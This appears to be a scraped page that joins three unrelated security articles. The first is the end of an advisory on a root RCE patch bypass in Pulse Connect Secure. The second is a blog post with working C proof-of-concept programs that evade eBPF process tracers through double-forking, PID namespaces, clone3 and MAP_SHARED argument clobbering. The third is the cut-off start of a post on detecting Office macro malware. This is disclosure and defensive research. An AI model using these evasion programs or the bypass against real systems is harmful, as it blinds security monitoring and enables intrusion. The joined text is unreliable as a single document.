Successful exploitation of this issue results in Remote Code Execution on the underlying Operating System with root privileges. An attacker with such access will be able to circumvent any restrictions enforced via the web application, as well as remount the filesystem, allowing them to create a persistent backdoor, extract and decrypt credentials, compromise VPN clients, or pivot into the internal network.

Details

The Pulse Connect Secure appliance suffers from an uncontrolled archive extraction vulnerability which allows an attacker to write executable files within the /home/runtime/tmp/tt/ directory, resulting in Remote Code Execution. PCS allows administrative users to import archived configurations. These configurations are compressed using GZIP and encrypted using a hardcoded key, allowing the attacker to encrypt and decrypt their own crafted archive files. When these archives are imported via the administrative GUI, extraction takes place in an unsafe manner, leading to arbitrary file (over)write.

Whilst this issue was patched by adding validation to extracted files, this validation does not apply to archives with the “profiler” type. Therefore, by simply modifying the original CVE-2020-8260 exploit to change the archive type to “profiler”, the patch can be bypassed, and code execution achieved.

Root Cause Analysis

In October 2020, Pulse Secure released PCS version 9.1R9, which patched the CVE-2020-8260 vulnerability. The patch added a new function named DSConfig::validateTarFile. When archives are imported via the DSConfig::importConfigImpl, the contents of the uploaded config archive are listed using the tar -tvf command, and placed into a file named /tmp/filelist. The function validateTarFile is then called, providing a list of safe files, which should be expected inside an uploaded archive.

The validateTarFile function parses the output in /tmp/filelist, and ensures:

• The archive does not contain any symlinks or hardlinks.
• The archive contains only the expected files
• No files contain ../ in their name.

This added check prevented exploitation of CVE-2020-8260.

In May 2021, Ivanti released PCS version 9.1R11.4, which addressed a number of vulnerabilities which had been exploited in-the-wild. According to the release notes, a vulnerability which sounded very similar to CVE-2020-8260 was also addressed:

Diffing PCS versions 9.1R10 and 9.1R11.4 we could see that calls to DSConfig::checkTarSafe had been added to a number of CGI files:

This additional validation was added to the following CGIs:

• /dana-admin/cert/clientauthcert.cgi
• /dana-admin/cert/admincert.cgi
• /dana-admin/mobile/smimeCert.cgi

Just like the check in DSConfig::importConfigImpl, the checkTarSafe function first lists the files within the uploaded archive, before calling validateTarFile

From this we could identify that CVE-2020-22900 was a variant of CVE-2020-8260. By changing the original exploit to POST to these CGI files instead, we could achieve code execution on PCS < 9.1R11.4.

Due to the existence of these variants within the import feature(s), we thought it would be a good idea to carry out further variant and patch analysis see if it was still possible to exploit the extraction vulnerability elsewhere.

Reviewing the code within import.cgi, we could see that config imports are processed via DSConfig::importConfig, which is passed the uploaded file-path and some other options, including the archive type:

 Within importConfig, we could see that it either calls importConfigImpl, or importProfilerDatabase, depending on the archive type supplied by the user:

As demonstrated earlier, importConfigImpl contains a call to validateTarFile, however importProfilerDatabase did not contain this check before the tar -C command is executed:

Therefore, by changing the uploaded archive type to “profiler”, the patch for CVE-2020-8260 could be bypassed.

Proof of Concept

A Proof of Concept was developed to achieve Remote Code Execution as the root user, simply by changing a single POST parameter variable in the original CVE-2020-8260 exploit.

Recommendation

Upgrade to Pulse Connect Secure (PCS) 9.1R12, or later.

Vendor Communication

2021-05-12 – Reported to Pulse Secure via HackerOne.
2021-05-13 – Acknowledgement of submission from HackerOne received - awaiting triage.
2021-05-25 – Requested an update via HackerOne - no response.
2021-06-22 – Confirmed that the exploit still works on newly released PCS 9.1R11.5 version. Shared a screenshot via HackerOne ticket and requested a further update - no response.
2021-07-15 – Emailed Ivanti/Pulse Secure PSIRT & updated HackerOne ticket informing them that the vulnerability will be publicly disclosed on 2021-07-23, as per our disclosure policy (if a vendor is unresponsive).
2021-07-15 – Reply received from Ivanti PSIRT via email. Requested that we hold off disclosure and requested further details of the vulnerability (due to lack of access to HackerOne).
2021-07-15 – Vulnerability details shared with Ivanti PSIRT via PGP email.
2021-07-20 – Ivanti PSIRT confirm they were able to verify the report and plan to release a fix by August 2nd.
2021-07-20 – We agree to hold off disclosure until after the updated version is released.
2021-07-31 – Ivanti confirm the fix will be released in PCS 9.1R12, which is scheduled for August 2nd, and request that we don’t publish the advisory until August 5th.
2021-08-02 – Pulse Connect Secure 9.1R12 released.
2021-08-05 – Advisory published.

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date:  2021-08-05

Written by:  Richard Warren

Having been in the game of auditing kprobe-based tracers for the past couple of years, and in light of this upcoming DEF CON on eBPF tracer race conditions (which you should go watch) being given by a friend of mine from the NYU(-Poly) (OSIR)IS(IS) lab, I figured I would wax poetic on some of the more amusing issues that tracee, Aqua Security’s “Runtime Security and Forensics” framework for Linux, used to have and other general issues that anyone attempting to write a production-ready tracer should be aware of. These come up frequently whenever we’re looking at Linux tracers. This post assumes some familiarity with writing eBPF-based tracing tools, if you haven’t played with eBPF yet, consider poking around your kernel and system processes with bpftrace or bcc.

tl;dr In this post, we discuss an insecure coding pattern commonly used in system observability and program analysis tools, and several techniques that can enable one to evade observation from such tools using that pattern, especially when they are being used for security event analysis. We also discuss several ways in which such software can be written that do not enable such evasion, and the current limitations that make it more difficult than necessary to write such code correctly.

fork(2)/clone(2) et al Considered Harmful

As we’ve mentioned before,¹ one does not simply trace fork(2) or clone(2) because the child process is actually started (from a CoW snapshot of the caller process) before the syscall has actually returned to the caller. To do so would be a problem, as any tracer that waits for the return value of fork(2)/clone(2)/etc. to start watching the PID will invariably lose some of the initial operations of the child >99% of the time. While this is not a “problem” for most applications’ behavior, it becomes troublesome for monitoring systems based on following individual process hierarchies live instead of all processes globally, retroactively, as anyone can simply “double-fork” in rapid succession to throw off the yoke of inspection, since the second fork(2) will be missed ~100% of the time (even when implementing the bypass in C).

// $ gcc -std=c11 -Wall -Wextra -pedantic -o double-fork dobule-fork.c
// $ ./double-fork <iterations> </path/to/binary>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char** argv, char** envp) {
  if (argc < 3) {
    return 1;
  }

  int loop = atoi(argv[1]);

  for (int i=0; i < loop; i++) {
    pid_t p = fork();
    if (p != 0) {
      return 0;
    }
  }

  return execve(argv[2], &argv[2], envp);
}

/tracee/dockerer/tracee.main/dist # ./tracee --trace process:follow --filter pid=48478 -e execve -e clone
TIME(s)        UID    COMM             PID     TID     RET              EVENT                ARGS
111506.067379  0      bash             0       0       50586            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7F56929630BF, tls: 0
111506.069569  0      bash             0       0       0                execve               pathname: ./double-fork, argv: [./double-fork 100 /usr/bin/id]
111506.077553  0      double-fork      0       0       50590            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7FF0153690BF, tls: 0
111506.079220  0      double-fork      0       0       50592            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7FF0153690BF, tls: 0
...
111506.142778  0      double-fork      0       0       50690            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7FF0153690BF, tls: 0
111506.143236  0      double-fork      0       0       0                execve               pathname: /usr/bin/id, argv: [/usr/bin/id]
...
111514.289461  0      bash             0       0       50699            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7F56929630BF, tls: 0
111514.293312  0      bash             0       0       0                execve               pathname: ./double-fork, argv: [./double-fork 100 /usr/bin/id]
111514.303955  0      double-fork      0       0       50700            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7F9CF46280BF, tls: 0
111514.304240  0      double-fork      0       0       50701            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7F9CF46280BF, tls: 0
...
111514.356522  0      double-fork      0       0       50799            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7F9CF46280BF, tls: 0
111514.356949  0      double-fork      0       0       0                execve               pathname: /usr/bin/id, argv: [/usr/bin/id]
...
111519.410500  0      double-fork      0       0       50836            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7F533D0A10BF, tls: 0
111519.411117  0      double-fork      0       0       50837            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7F533D0A10BF, tls: 0

The start of child execution is triggered from the wake_up_new_task() function called by _do_fork() (now kernel_clone()), which is the internal kernel function powering all of the fork(2)/clone(2) alikes.

pid_t kernel_clone(struct kernel_clone_args *args)
{
  ...
  /*
   * Do this prior waking up the new thread - the thread pointer
   * might get invalid after that point, if the thread exits quickly.
   */
  trace_sched_process_fork(current, p);

  pid = get_task_pid(p, PIDTYPE_PID);
  nr = pid_vnr(pid);

  if (clone_flags & CLONE_PARENT_SETTID)
    put_user(nr, args->parent_tid);

  if (clone_flags & CLONE_VFORK) {
    p->vfork_done = &vfork;
    init_completion(&vfork);
    get_task_struct(p);
  }

  wake_up_new_task(p);
  ...

In our talk (slides 24-25), we gave a bpftrace example of a fork-exec tracer that would not lose to race conditions.

kprobe:wake_up_new_task {
  $chld_pid= ((structtask_struct*)arg0)->pid;
  @pids[$chld_pid]= nsecs;
}

tracepoint:syscalls:sys_enter_execve {
  if (@pids[pid]){
    $time_diff= (([email protected][pid]) / 1000000);
    if($time_diff<= 10){
      printf("%s => ",comm);
      join(args->argv);
    }
  }
  delete(@pids[pid]);
}

In general, we prefer to hook wake_up_new_task() with a kprobe since it’s fairly stable and gives raw access to the entire fully-configured child struct task_struct* right before it is started. However, if one does not care about other metadata accessible from that pointer, nor need it to be fully initialized (i.e. if they just want the PID), they can hook the sched_process_fork tracepoint event, which is triggered by the trace_sched_process_fork(current, p) call shown above. This is what tracee currently opts to do as of commit 8c944cf07f15045f395f7754f92b7809316c681c/tag v0.5.4.

Additionally, the problems of tracing the fork(2)/clone(2)/etc. syscalls directly led to (and lead to in any tracers not hooking wake_up_new_task/sched_process_fork) other issues that can present bypasses in the scenario of live child process observation.

PID Namespaces

The most interesting of these issues is that fork(2)/clone(2)/etc. return PIDs within the context of the PID namespace of the process (thread). As a result, the return values of these syscalls cannot meaningfully be used by a kernel-level tracer without also accounting for child pidns PID to host PID mappings. In distros that allow unprivileged user namespaces to be created, this allows arbitrary process to create nested PID namespaces by first creating a nested user namespace. This can be done in a number of ways, such as via unshare(2), setns(2), or even clone(2) with CLONE_NEWUSER and CLONE_NEWPID.

[email protected]:~# su -s /bin/bash nobody
[email protected]:/root$ unshare -Urpf --mount-proc
[email protected]:/root# nano &
[1] 18
[email protected]:/root# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.1  0.0   8264  5156 pts/0    S    01:37   0:00 -bash
root          17  0.0  0.0   7108  4132 pts/0    T    01:38   0:00 nano
root          18  0.0  0.0   8892  3344 pts/0    R+   01:38   0:00 ps aux
[email protected]:/root# unshare -pf --mount-proc
[email protected]:/root# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  1.2  0.0   8264  5200 pts/0    S    01:38   0:00 -bash
root          15  0.0  0.0   8892  3332 pts/0    R+   01:38   0:00 ps aux

// $ gcc -std=c11 -Wall -Wextra -pedantic -o userns-clone-fork userns-clone-fork.c
// $ ./userns-clone-fork </path/to/binary>

#define _GNU_SOURCE
#include <sched.h>

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int clone_child(void *arg) {
  char** argv = (char**)arg;

  printf("clone pid: %u\n", getpid());

  pid_t p = fork();
  if (p != 0) {
    return 0;
  }

  printf("fork pid: %u\n", getpid());

  return execve(argv[1], &argv[1], NULL);
}

static char stack[1024*1024];

int main(int argc, char **argv) {
  if (argc < 2) {
    return 1;
  }

  printf("parent pid: %u\n", getpid());

  pid_t p = clone(clone_child, &stack[sizeof(stack)], CLONE_NEWUSER|CLONE_NEWPID, argv);
  if (p == -1) {
    perror("clone");
    exit(1);
  }

  return 0;
}

/tracee/dockerer/tracee.main/dist # ./tracee --trace process:follow --filter pid=54519 -e execve -e clone
TIME(s)        UID    COMM             PID     TID     RET              EVENT                ARGS
117174.563477  0      bash             0       0       55395            clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7F99617200BF, tls: 0
117174.566597  0      bash             0       0       0                execve               pathname: ./userns-clone-fork, argv: [./userns-clone-fork /usr/bin/id]
117174.578037  0      userns-clone-fo  0       0       55396            clone                flags: CLONE_NEWUSER|CLONE_NEWPID, stack: 0x5621B2DBB030, parent_tid: 0x0, child_tid: 0x7F7C130B6285, tls: 18
117174.579600  0      userns-clone-fo  0       0       2                clone                flags: CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID, stack: 0x0, parent_tid: 0x0, child_tid: 0x7F7C1307A0BF, tls: 0

However, more interestingly, this means that such tracers will not work by default on containers unless the containers run within the host PID namespace, a dangerous configuration. This was the behavior we observed with tracee prior to the aforementioned commit 8c944cf07f15045f395f7754f92b7809316c681c.

clone3(2) also Considered Harmful

Prior to tracee 0.5.4, fork(2)/clone(2)-alike syscall PID return value processing was handled with the following code:

SEC("raw_tracepoint/sys_exit")
int tracepoint__raw_syscalls__sys_exit(struct bpf_raw_tracepoint_args *ctx)
{
    long ret = ctx->args[1];
    struct task_struct *task = (struct task_struct *)bpf_get_current_task();
    struct pt_regs *regs = (struct pt_regs*)ctx->args[0];
    int id = READ_KERN(regs->orig_ax);

    ...

    // fork events may add new pids to the traced pids set
    // perform this check after should_trace() to only add forked childs of a traced parent
    if (id == SYS_CLONE || id == SYS_FORK || id == SYS_VFORK) {
        u32 pid = ret;
        bpf_map_update_elem(&traced_pids_map, &pid, &pid, BPF_ANY);
        if (get_config(CONFIG_NEW_PID_FILTER)) {
            bpf_map_update_elem(&new_pids_map, &pid, &pid, BPF_ANY);
        }
    }

In the above snippet, the syscall ID is compared against those of clone(2), fork(2), and vfork(2). However, the syscall is not compared against the ID of clone3(2). While tracee does separately log clone3(2) events (since commit f44eb206bf8e80efeb1da68641cb61f3f00c522c/tag v0.4.0), the above omission resulted in clone3(2)-created child process not being followed prior to commit 8c944cf07f15045f395f7754f92b7809316c681c.

// $ gcc -std=c11 -Wall -Wextra -pedantic -o clone3 clone3.c
// $ ./clone3 </path/to/binary>

#define _GNU_SOURCE
#include <sched.h>

#include <linux/sched.h>
#include <linux/types.h>

#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>

int clone_child(void *arg) {
  char** argv = (char**)arg;

  return execve(argv[1], &argv[1], NULL);
}

int main(int argc, char **argv) {
  if (argc < 2) {
    return 1;
  }

  printf("parent pid: %u\n", getpid());

  struct clone_args args = {0};
  pid_t p = syscall(__NR_clone3, &args, sizeof(struct clone_args));

  if (p == -1) {
    perror("clone3");
    return 1;
  }

  if (p != 0) {
    printf("clone pid: %u\n", p);
  } else {
    clone_child(argv);
  }

  return 0;
}

Since that commit, which introduces the change to use sched_process_fork, tracee now obtains both the host PID and in-namespace PID:

SEC("raw_tracepoint/sched_process_fork")
int tracepoint__sched__sched_process_fork(struct bpf_raw_tracepoint_args *ctx)
{
    // Note: we don't place should_trace() here so we can keep track of the cgroups in the system
    struct task_struct *parent = (struct task_struct*)ctx->args[0];
    struct task_struct *child = (struct task_struct*)ctx->args[1];

    int parent_pid = get_task_host_pid(parent);
    int child_pid = get_task_host_pid(child);

    ...

    if (event_chosen(SCHED_PROCESS_FORK) && should_trace()) {
       ... 
        int parent_ns_pid = get_task_ns_pid(parent);
        int child_ns_pid = get_task_ns_pid(child);

        save_to_submit_buf(submit_p, (void*)&parent_pid, sizeof(int), INT_T, DEC_ARG(0, *tags));
        save_to_submit_buf(submit_p, (void*)&parent_ns_pid, sizeof(int), INT_T, DEC_ARG(1, *tags));
        save_to_submit_buf(submit_p, (void*)&child_pid, sizeof(int), INT_T, DEC_ARG(2, *tags));
        save_to_submit_buf(submit_p, (void*)&child_ns_pid, sizeof(int), INT_T, DEC_ARG(3, *tags));

        events_perf_submit(ctx);
    }

    return 0;
}

TOCTTOU Issues Endemic to Lightweight Tracers

In our CCC talk²³, we discussed how there exists a significant time-of-check-to-time-of-use (TOCTTOU) race condition when hooking a syscall entrypoint (e.g. via a kprobe, but also more generally) as userland-supplied data that is copied/processed by the hook may change by the time the kernel accesses as part of the syscall’s implementation.

The main way to get around this issue is to hook internal kernel functions, tracepoints, or LSM hooks to access syscall inputs after they have already been copied into kernel memory (and probe the in-kernel version). However, this approach is not universally applicable and only works in the presence of such internal anchor points. Instead, one has to rely on the Linux Auditing System (aka auditd), which, in addition to simple raw syscall argument dumps, has its calls directly interleaved within the kernel’s codebase to process and log inputs after they have been copied from user memory for processing by the kernel. auditd’s calls are very carefully (read: fragilely) placed to ensure that values used for filtering and logging are not subject to race conditions, even in the cases where data is being read from user memory.

auditd: The “d” Stands for Dancing

For example, auditd’s execve(2) logging takes the following form for a simple ls -lht /:

type=EXECVE msg=audit(...): argc=4 a0="ls" a1="--color=auto" a2="-lht" a3="/"

This log line is generated by audit_log_execve_info() from apparent userspace memory:

  const char __user *p = (const char __user *)current->mm->arg_start;
  ...
      len_tmp = strncpy_from_user(&buf_head[len_buf], p,
                                  len_max - len_buf);

However, we can observe that the execve(2) argument handling of auditd is “safe” with the following bpftrace script which hooks some of the functions called during an execve(2) syscall that have symbols:

kprobe:__audit_bprm { printf("__audit_bprm called\n"); }
kprobe:setup_arg_pages { printf("setup_arg_pages called\n") }
kprobe:do_open_execat { printf("do_open_execat called\n"); }
kprobe:open_exec { printf("open_exec(\"%s\") called\n", str(arg0)); }
kprobe:security_bprm_creds_for_exec { printf("security_bprm_creds_for_exec called\n"); }

# bpftrace trace.bt 
Attaching 5 probes...
do_open_execat called
security_bprm_creds_for_exec called
open_exec("/lib64/ld-linux-x86-64.so.2") called
do_open_execat called
setup_arg_pages called
__audit_bprm called

The first do_open_execat() call is that from bprm_execve(), which is called from do_execveat_common(), right after argv is copied into the struct linux_binprm. setup_arg_pages is called from within a struct linux_binfmt implementation and sets current->mm->arg_start to bprm->p. And then lastly, __audit_bprm() is called (from exec_binprm(), itself called from bprm_execve()), which sets the auditd context type to AUDIT_EXECVE, resulting in audit_log_execve_info() being called from audit_log_exit() (via show_special()) to generate the above type=EXECVE log line.

It goes without saying that this is not really something that eBPF code could hope to do in any sort of stable manner. One could try to use eBPF to hook a bunch of the auditd related functions in the kernel, but that probably isn’t very stable either and any such code would essentially need to re-implement just the useful parts of auditd that extract inputs, process state, and system state, and not the cruft (slow filters, string formatting, and who knows what else) that results in auditd somehow having a syscall overhead upwards of 245%.⁴

eBPF Doesn’t Like to Share

Instead of trying to hook onto __audit_* symbols called only when auditd is enabled, we should probably try to find relevant functions or tracepoints in the same context to latch onto, such as trace_sched_process_exec in the case of execve(2).

static int exec_binprm(struct linux_binprm *bprm)
{
  ...
  audit_bprm(bprm);
  trace_sched_process_exec(current, old_pid, bprm);
  ptrace_event(PTRACE_EVENT_EXEC, old_vpid);
  proc_exec_connector(current);
  return 0;
}

As it turns out, trace_sched_process_exec is even more necessary than one might initially think. While race conditions when hooking syscalls via kprobes and tracepoints are troublesome, it turns out that userspace can flat out block eBPF from reading syscall inputs if they reside in MAP_SHARED pages. It is worth noting that such tomfoolery is somewhat limited as it only works against bpf_probe_read(|_user|_kern) calls made before a page is read by the kernel in a given syscall handler. As a result, a quick “fix” for tracers is to perform such reads when the syscall returns. However, such a “fix” would increase the feasibility of race condition abuse whenever the syscall implementation takes longer than the syscall context switch.

Given that this limitation doesn’t appear to be that well known, it could be a bug in the kernel, but it only presents an issue when one is already writing their eBPF tracers in the wrong manner. tracee is not generally vulnerable to MAP_SHARED abuse because it mostly dumps syscall arguments from a raw tracepoint hook on sys_exit. However, for syscalls that don’t normally return, such as execve(2), it resorts to dumping the arguments in its sys_enter raw tracepoint hook, enabling the syscall event to be fooled. Regardless, this is also not an issue for tracee as it implements a hook for the sched_process_exec tracepoint as of commit 6166346e7479bc3b4b417a67a92a2493a30b949e/tag v0.6.0.

// $ gcc -std=c11 -Wall -Wextra -pedantic -o clobber clobber.c -lpthread

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <pthread.h>

static char* checker;
static char* key;

static int mode = 1;

//force byte by byte copies
void yoloncpy(volatile char* dst, volatile char* src, size_t n, int r) {
  if (r == 0) {
    for (size_t i = 0; i < n; i++) {
      dst[i] = src[i];
    }
  } else {
    for (size_t i = n; i > 0; i--) {
      dst[i-1] = src[i-1];
    }
  }
}

void* thread1(void* arg) {
  int rev = (int)(uintptr_t)arg;
  uint64_t c = 0;
  while(1) {//c < 8192) {
    switch (c%2) {
      case 0: {
        yoloncpy(key, "supergood", 10, rev);
        break;
      }
      case 1: {
        yoloncpy(key, "reallybad", 10, rev);
        break;
      }
    }
    c += 1;
  }
  return NULL;
}

void* thread2(void* arg) {
  (void)arg;
  uint64_t c = 0;
  while(1) {
    switch (c%2) {
      case 0: {
        memcpy(key, "supergood", 10);
        break;
      }
      case 1: {
        memcpy(key, "reallybad", 10);
        break;
      }
    }
    c += 1;
  }
  return NULL;
}

int main(int argc, char** argv, char** envp) {

  if (argc < 2) {
    printf("usage: %s <count> [mode]\n", argv[0]);
    return 1;
  }

  int count = atoi(argv[1]);

  if (argc >= 3) {
    mode = atoi(argv[2]);
    if (mode != 1 && mode != 2) {
      printf("invalid mode: %s\n", argv[2]);
      return 1;
    }
  }

  key = mmap(NULL, 32, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  if (key == NULL) {
    perror("mmap");
    return 1;
  }
  checker = mmap(NULL, 32, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  if (checker == NULL) {
    perror("mmap2");
    return 1;
  }

  strcpy(key, "supergood");
  strcpy(checker, "./checker");

  char count_str[32] = "0";

  char* nargv[] = {checker, key, count_str, NULL};

  pthread_t t_a;
  pthread_t t_b;
  if (mode == 1) {
    pthread_create(&t_a, NULL, &thread1, (void*)0);
    pthread_create(&t_b, NULL, &thread1, (void*)1);
  } else if (mode == 1) {
    pthread_create(&t_a, NULL, &thread2, NULL);
  }

  int c = 0;
  while(c < count) {
    snprintf(count_str, sizeof(count_str), "%d", c);

    int r = fork();
    if (r == 0) {
      int fd = open(key, 0);
      if (fd >= 0) {
        close(fd);
      }
      execve(checker, nargv, envp);
    } else {
      sleep(1);
    }
    c += 1;
  }
  return 0;
}

# ./dist/tracee-ebpf --trace event=execve,sched_process_exec
UID    COMM             PID     TID     RET              EVENT                ARGS
0      bash             7662    7662    0                execve               pathname: ./clobber, argv: [./clobber 5]
0      clobber          7662    7662    0                sched_process_exec   cmdpath: ./clobber, pathname: /root/clobber, argv: [./clobber 5], dev: 264241153, inode: 5391, invoked_from_kernel: 0
0      clobber          7665    7665    0                execve               argv: []
0      checker          7665    7665    0                sched_process_exec   cmdpath: ./checker, pathname: /root/checker, argv: [./checker rupergood 0], dev: 264241153, inode: 5393, invoked_from_kernel: 0
0      clobber          7666    7666    0                execve               argv: []
0      checker          7666    7666    0                sched_process_exec   cmdpath: ./checker, pathname: /root/checker, argv: [./checker reallybad 1], dev: 264241153, inode: 5393, invoked_from_kernel: 0
0      clobber          7667    7667    0                execve               argv: []
0      checker          7667    7667    0                sched_process_exec   cmdpath: ./checker, pathname: /root/checker, argv: [./checker supergood 2], dev: 264241153, inode: 5393, invoked_from_kernel: 0
0      clobber          7668    7668    0                execve               argv: []
0      checker          7668    7668    0                sched_process_exec   cmdpath: ./checker, pathname: /root/checker, argv: [./checker supergbad 3], dev: 264241153, inode: 5393, invoked_from_kernel: 0
0      clobber          7669    7669    0                execve               argv: []
0      checker          7669    7669    0                sched_process_exec   cmdpath: ./checker, pathname: /root/checker, argv: [./checker reallgood 4], dev: 264241153, inode: 5393, invoked_from_kernel: 0

Note: Interestingly enough, I only stumbled across this behavior because it would have been less effective to use in-process threads to clobber inputs to execve(2) since it kills all other threads than the one issuing the syscall. The open() call above exists primarily to trigger an example for the below test code to show how probes from sys_enter fail (with error -14, bad address), but succeed in in the sys_exit hook.

SEC("raw_tracepoint/sys_enter")
int sys_enter_hook(struct bpf_raw_tracepoint_args *ctx) {
  struct pt_regs _regs;
  bpf_probe_read(&_regs, sizeof(_regs), (void*)ctx->args[0]);
  int id = _regs.orig_ax;
  char buf[128];
  if (id == 257) {
    char* const pathname = (char* const)_regs.si;
    bpf_printk("sys_enter -> openat %p\n", pathname);
    bpf_probe_read_str(buf, sizeof(buf), (void*)pathname);
    bpf_printk("sys_enter -> openat %s\n", buf);
  } else if (id == 59) {
    char* const f = (char* const)_regs.di;
    bpf_printk("sys_exit -> execve %p\n", f);
    bpf_probe_read_str(buf, sizeof(buf), (void*)f);
    bpf_printk("sys_exit -> execve %s\n", buf);
  }

  return 0;
}

SEC("raw_tracepoint/sys_exit")
int sys_exit_hook(struct bpf_raw_tracepoint_args *ctx) {
  struct pt_regs _regs;
  bpf_probe_read(&_regs, sizeof(_regs), (void*)ctx->args[0]);
  int id = _regs.orig_ax;
  char buf[128];
  if (id == 257) {
    char* const pathname = (char* const)_regs.si;
    bpf_printk("sys_exit -> openat %p\n", pathname);
    bpf_probe_read_str(buf, sizeof(buf), (void*)pathname);
    bpf_printk("sys_exit -> openat %s\n", buf);
  } else if (id == 59) {
    char* const f = (char* const)_regs.di;
    bpf_printk("sys_exit -> execve %p\n", f);
    bpf_probe_read_str(buf, sizeof(buf), (void*)f);
    bpf_printk("sys_exit -> execve %s\n", buf);
  }

  return 0;
}

# cat /sys/kernel/tracing/trace_pipe
...
<...>-215084  [000] .... 2266209.468617: 0: sys_enter -> openat 000000005ec00ae4
<...>-215084  [000] .N.. 2266209.468645: 0: sys_enter -> openat
<...>-215084  [000] .... 2266209.469091: 0: sys_exit -> openat 000000005ec00ae4
<...>-215084  [000] .N.. 2266209.469114: 0: sys_exit -> openat supelybad
<...>-215084  [000] .... 2266209.469199: 0: sys_exit -> execve 0000000031d15ade
<...>-215084  [000] .N.. 2266209.469222: 0: sys_exit -> execve
<...>-215084  [000] .... 2266209.470178: 0: sys_exit -> execve 0000000000000000
<...>-215084  [000] .N.. 2266209.470224: 0: sys_exit -> execve
<...>-215084  [000] .... 2266209.472093: 0: sys_enter -> openat 000000008edac6ac
<...>-215084  [000] .N.. 2266209.472138: 0: sys_enter -> openat /etc/ld.so.cache
<...>-215084  [000] .... 2266209.472205: 0: sys_exit -> openat 000000008edac6ac
<...>-215084  [000] .N.. 2266209.472248: 0: sys_exit -> openat /etc/ld.so.cache
<...>-215084  [000] .... 2266209.472345: 0: sys_enter -> openat 000000007671a9c9
<...>-215084  [000] .N.. 2266209.472366: 0: sys_enter -> openat /lib/x86_64-linux-gnu/libc.so.6
<...>-215084  [000] .... 2266209.472420: 0: sys_exit -> openat 000000007671a9c9
<...>-215084  [000] .N.. 2266209.472440: 0: sys_exit -> openat /lib/x86_64-linux-gnu/libc.so.6
...

Current Thoughts

If you want accurate tracing for syscall events, you probably shouldn’t be hooking the actual syscalls, and especially not the syscall tracepoints. Instead, your only real option is to figure out how to dump the arguments from the internals of a given syscall implementation. Depending on if there are proper hook-points (e.g. tracepoints, LSM hooks, etc.) or not — and if they provide access to all arguments — it may be necessary to hook internal kernel functions with kprobes for absolute correctness, if it is at all possible in the first place. For what it’s worth, this is mostly a problem with Linux itself and not something that kprobe-ing kernel modules can fix; though they can properly handle kernel structs beyond basic complexity, unlike eBPF.

In the case of security event auditing, correctness supersedes ease of development, but vendors may not be making that choice, at least not initially. Due to this, auditors must be aware of how their analysis tools actually work and how (and from where) they source event information, so that they can treat the output with a sizable hunk of salt where necessary because, while the tools are likely not lying, they may not be not capable of telling the truth either.

Category:  Reduction/Prevention

Overview

Document macros have gone in and out of style since 1995 as a deployment method for malware. Netskope’s latest ‘Cloud and Threat Report: July 2021 Edition’ points out that in Q2 of 2021, Microsoft Office macros accounted for 43% of malicious Office document downloads, compared to just 20% at the beginning of 2020.  Malicious Office documents, aka maldocs, have continued to be an issue for organizations.  Emotet, a successful malware family taken down in 2020, heavily used Office macros to infect Microsoft Windows systems.  Other malware groups seemed to have taken a page from the Emotet playbook and increased the use of macros in their recent campaigns of 2021. Today let us take a look at the various methods of detection and prevention of malicious macros.

Enabled Macros by Default

Microsoft Office by default allows a user to enable content and allow macros to run when opening Office documents like Word, Excel, and even PowerPoint.  Macros or enabled content is rarely used by most users, and typically just a handful of users needing or using Excel financial calculations.  Most organizations are scared or uncertain about what will break if macros are disabled.  Creating a communication plan informing the organization about the upcoming change and providing a way for users to request and justify the need for macros, get any needed approvals, and required training can help avoid significant adverse impacts to the organization once implemented. 

Detection

Detecting the use of macros within Office programs is not easy as there are no logging events associated with macro usage. The only option is to look for programs executed after the launch of Office programs. Often malware will use the macro to launch a scripting engine such as cscript, wscript, or other scripting languages. Additionally, PowerShell, WMI, or other administrative Windows utilities have also been used in this context.  Endpoint Detection and Response solutions (EDR) usually monitor these parent-child relationships and trigger when Office documents attempt to execute nonstandard programs. Similarly, an organization with robust and proper logging of endpoint behavior can build detections within their log management or SIEM solution to highlight odd Office document executions.

Reduction/Prevention

